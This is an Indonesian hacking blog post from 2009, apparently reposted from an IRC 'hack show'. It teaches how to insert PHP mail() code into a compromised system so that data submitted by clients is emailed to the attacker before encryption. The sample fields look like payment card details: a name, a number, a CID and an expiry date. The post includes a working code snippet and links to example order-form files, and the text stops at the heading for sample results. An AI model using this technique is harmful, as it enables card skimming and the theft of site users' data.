THE POLICE LINE: Email Logging Information

Senin, 09 November 2009

Email Logging Information

Binus Hacker Sponsor Banner

Apa kabar semuanya

Berikut ini gw mau jelasin trik yang sangat menarik buat anda pelajarin. Merupakan sebuah logging informasi data yang masuk, dan kemudian dikirim ke email kita. Ini sempet dibahas di BinusHacker Hack Show 30 Mei 2009 di #BinusHacker @Irc.Dal.Net

Lets begin!

Memaksimalkan Fungsi Email

= Hacking is Knowledge =

Tujuan dari memaksimalnya email pada topic ini adalah untuk logging informasi & data!

Pertama:

Kita menggunakan script PHP (Private Home Page)

Fungsi yang kita pake adalah mail();

Dimana pengiriman email dilakukan:

contoh:

// Contoh penggunaan

$Orangnya = “Budi Anduk”;
$NoId = “123456789″;
$CID = “234″;
$Exp = “10/2009″;

$Nama = “Nama Pengirim”;
$Emailnya = “email@pengirim.com”; // Email Pengirim
$Penerima = “emailanda@yahoo.com”; // Email Anda Sebagai Penerimas
$IsiEmail = “Berikut Ini Isi Log Data: “. $Orangnya .” “. $NoId .” “. $CID .” “. $Exp .” “; // Isi Email
$Subject = “Logging Data & Informasi”; // Judul Email
$Header = “From: “. $Nama . ” <” . $Emailnya . “>\r\n”; // Untuk Header

mail($Penerima, $Subject, $IsiEmail, $Header);
?>

Dari contoh di atas maka dapat kita simpulkan bahwa, kita bisa menggunakan fasilitas pengirim email untuk melakukan logging

Terkadang banyak file yang terenkripsi yang ada didatabase
Sehingga kita susah untuk melakukan decryptnya

Maka cara ini dapat kita gunakan..
Jika kita mendapatkan sebuah target dalam system,
dan disitu terjadi aktifitas pengiriman data ke database server dari client
Maka, kita dapat melakukan pengambilan data sebelum dilakukan encyption
Dengan cara menyisipkan variable” baru, yang bisa kita gunakan untuk menyimpan informasi & data
Kemudian kita kirim ke email kita tanpa terenkripsi sama skali..

Enak bukan? Hahahha.. That is the concept!

Silakan baca artikelnya disini:

http://www.vifoga.org/portal/templates/system/email/Email.txt

Analisa script dan contohnya silakan buka:

http://www.vifoga.org/portal/templates/system/email/order.txt

http://www.vifoga.org/portal/templates/system/email/ordersubmit.txt

Nah, untuk penjelasan lengkapnya anda bisa download tutorial dan ujicoba lengkapnya di:

http://www.indowebster.com/EmailLoggingHckShow.html

Untuk melakukan hasil contohnya, anda upload semua file ke sebuah hosting, kemudian praktekkan sesuai dengan contoh.

Jangan lupa ganti email pengirim menjadi:

$Penerima = “emailanda@domainemailanda.com”; // Email Anda Sebagai Penerima

Contoh hasil logging data dan informasinya: